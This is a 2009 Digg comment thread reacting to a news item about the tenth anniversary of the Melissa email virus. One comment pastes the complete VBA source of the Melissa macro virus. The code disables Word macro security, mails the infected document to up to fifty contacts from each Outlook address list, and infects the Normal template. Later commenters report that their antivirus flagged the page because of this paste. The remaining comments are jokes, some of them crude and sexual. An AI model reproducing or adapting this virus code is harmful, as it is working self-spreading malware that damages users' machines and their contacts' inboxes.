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First email virus turns 10

tgdaily.com — The email-aware virus is turning just 10 today. Melissa, the first virus of this kind, was estimated to have infected more than one million PCs and caused damage in excess of $80 million.

Who dugg this? Made popular Mar 28, 2009

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  • Dinsdale77, on 03/28/2009, -0/+32They grow up so fast.......
  • cawfee, on 03/28/2009, -0/+23Happy Birthday, Melissa!

    I hope you choke on your cake.
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  • dextermanas, on 03/28/2009, -0/+21What's weird is that it's been 10 years and people still click on random junk or believe that they've just inherited $22 million.
  • RAEP, on 03/28/2009, -2/+20wat.
  • MarkusX, on 03/27/2009, -4/+22Feels weird to me that people feel compelled to celebrate the anniversary of something bad like a destructive virus.
    I'd rather forget that day. Celebrating it only encourages virus programmers to come up with the next legendary virus.
  • Kmap, on 03/28/2009, -0/+12Happy birthday you backstabbing bitch.
  • dextermanas, on 03/28/2009, -5/+16
    Private Sub Document_Open()
    On Error Resume Next
    If System.PrivateProfileString("",
    "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
    Then
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("",
    "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    Else
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
    Options.SaveNormalPrompt = (1 - 1)
    End If
    Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
    Set UngaDasOutlook = CreateObject("Outlook.Application")
    Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
    If System.PrivateProfileString("",
    "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
    Then
    If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
    Set AddyBook = DasMapiName.AddressLists(y)
    x = 1
    Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
    For oo = 1 To AddyBook.AddressEntries.Count
    Peep = AddyBook.AddressEntries(x)
    BreakUmOffASlice.Recipients.Add Peep
    x = x + 1
    If x > 50 Then oo = AddyBook.AddressEntries.Count
    Next oo
    BreakUmOffASlice.Subject = "Important Message From " &
    Application.UserName
    BreakUmOffASlice.Body = "Here is that document you asked for ... don't
    show anyone else ;-)"
    BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
    BreakUmOffASlice.Send
    Peep = ""
    Next y
    DasMapiName.Logoff
    End If
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
    "Melissa?") = "... by Kwyjibo"
    End If
    Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
    Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
    NTCL = NTI1.CodeModule.CountOfLines
    ADCL = ADI1.CodeModule.CountOfLines
    BGN = 2
    If ADI1.Name <> "Melissa" Then
    If ADCL > 0 Then _
    ADI1.CodeModule.DeleteLines 1, ADCL
    Set ToInfect = ADI1
    ADI1.Name = "Melissa"
    DoAD = True
    End If
    If NTI1.Name <> "Melissa" Then
    If NTCL > 0 Then _
    NTI1.CodeModule.DeleteLines 1, NTCL
    Set ToInfect = NTI1
    NTI1.Name = "Melissa"
    DoNT = True
    End If
    If DoNT <> True And DoAD <> True Then GoTo CYA
    If DoNT = True Then
    Do While ADI1.CodeModule.Lines(1, 1) = ""
    ADI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
    Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
    Loop
    End If
    If DoAD = True Then
    Do While NTI1.CodeModule.Lines(1, 1) = ""
    NTI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
    Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
    Loop
    End If
    CYA:
    If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
    False) Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
    ActiveDocument.Saved = True: End If
    'WORD/Melissa written by Kwyjibo
    'Works in both Word 2000 and Word 97
    'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
    'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
    If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
    triple-word-score, plus fifty points for using all my letters. Game's over.
    I'm outta here."
    End Sub
  • bromac, on 03/28/2009, -0/+9I feel old.
  • samard2002, on 03/28/2009, -0/+9The picture for the headline could not be more appropriate.
  • inactive, on 03/28/2009, -0/+6...you look like a virus and you hash like one too.
  • inactive, on 03/28/2009, -0/+6THE NANNY!!?!?! NO WAY!!!
  • dalewj, on 03/28/2009, -0/+6That was hardly the first email virus. First email virus was in the 80s
  • Kannebas, on 03/28/2009, -0/+6Ah, Melissa: The e-mail virus that launched a thousand IT memos...
  • inactive, on 03/28/2009, -0/+5I love you too melissa...
  • AaronCo, on 03/28/2009, -1/+5Happy Birthday to you...
  • pushmouse, on 03/28/2009, -0/+4No Joke. NOD32 version 4 just kicked this message when I click on this.

    3/28/2009 8:59:15 AM HTTP filter archive http://digg.com/tech_news/First_email_virus_turns_ ... unknown SCRIPT virus connection terminated Threat was detected upon access to web by the application: C:\Program Files (x86)\Mozilla Firefox\firefox.exe.
  • t0x2c, on 03/29/2009, -0/+4Learn basic computer skills (like identifying VB). This is the source of Melissa.
  • vishwajith, on 03/28/2009, -0/+4and, SPAM is 30 years old.

    Your name makes it pretty obvious that you are here to make us mortals aware of sites that are more important to us than this digg.com thingie.
  • antdude, on 03/29/2009, -0/+4Wait until they turn 18!
  • hokie47, on 03/28/2009, -0/+4You never forget your first virus. It was in college and I ended up hooking up with this slut from upstairs. I was too drunk to put a condom on and it felt so good. Well a few days later it was no fun and games anymore when some foreign doctor was looking at my junk.
  • spriggig, on 03/28/2009, -0/+4Dugg because when SkyNet goes online, we're gonna need all the virus-fighting experience.
  • inactive, on 03/28/2009, -1/+5Don't talk ***** all your life please
  • CrazySpaniard, on 03/28/2009, -0/+3lolwut
    http://s5.tinypic.com/t50y6f.jpg
  • s0nicfreak, on 03/28/2009, -0/+3Ok maybe the first virus OF IT'S TYPE (even that is doubtful) but certainly not the first email virus.
  • Myztry, on 03/28/2009, -0/+3I remember my first computer virus (SCA - 1987) back in 1988 on the Amiga. Off course it can to me via postal mail rather than e-mail, as it would be another 5 years before I had Internet access. BBS were another common distribution means, but they're not the always online methods that exist today.
    The Saddam Hussein (1991) virus was the most impressive early virus I ever saw. So many attack vectors. Self defense measures. Encryption. Brilliantly programmed. It even encypted the host filesystem making removal by deletion unworkable. Disturbingly respectable.
  • malonie, on 03/28/2009, -0/+3Happy Birthday Melissa

    ILOVEYOU!
  • antdude, on 03/29/2009, -0/+3Cake is a lie.
  • inactive, on 03/28/2009, -0/+2That can't be correct. Buried for sensationalist topic.
  • LonelyTylenoL, on 03/28/2009, -0/+2Happy Birthday?
  • gamerfreak1203, on 03/28/2009, -0/+2The cake is a....

    meh, nevermind.
  • t0x2c, on 03/29/2009, -0/+2She should choke on my dick instead.
  • jman583, on 03/30/2009, -0/+2That's what I cam here to not say.
  • DrakeGTA, on 03/28/2009, -0/+2That's what I cam here to say.
  • ratsg, on 03/29/2009, -0/+2amazingly, people are still using dos/windows.
  • t0x2c, on 03/29/2009, -0/+2That's also what I cam here to say.
  • orthodoxDrew, on 03/28/2009, -0/+2Melissa and her family have kept me well employed for 10 years. sweet.
  • pumanegra2012, on 03/28/2009, -0/+2It was unfair to have named the virus Melissa..such a lovely name
  • Pfkninenines, on 03/30/2009, -0/+2Same here. I think it's due to http://digg.com/tech_news/First_email_virus_turns_ ... someone kind enough to post the code..
  • EntropyFan, on 03/28/2009, -0/+1I think that should be Love-Letter-For-You.txt.vbs, Melissa
  • richirwin, on 03/28/2009, -1/+2FIRST!
  • inactive, on 03/28/2009, -2/+3Happy birthday, ***** head.
  • t0x2c, on 03/29/2009, -0/+1Yea someone posted the source code on the comment below your screenshot, and NOD is freaking.
  • AirNike, on 03/28/2009, -0/+0I hate viruses.
  • My571k, on 03/29/2009, -1/+1For an odd reason, when I clicked this link, NOD32 said it was a virus.
  • chlyon, on 03/28/2009, -4/+4let me know when she turns 18 so I can fk her like she fked everyone 10 yrs ago lol
  • gl77, on 03/28/2009, -4/+3where's pedobear?
  • lanfearinc, on 03/28/2009, -7/+6does it also feel weird for you to note the anniversary of say...
    9/11?
    ww2?
    thanksgiving day?


    Go stick your head in the sand.. Making people aware of this only HELPS them to realize that some ***** might be sending them a virus in their email.. and that this has been going on for 10 years thus far.

    You didnt go out and buy a cake and candles did you??
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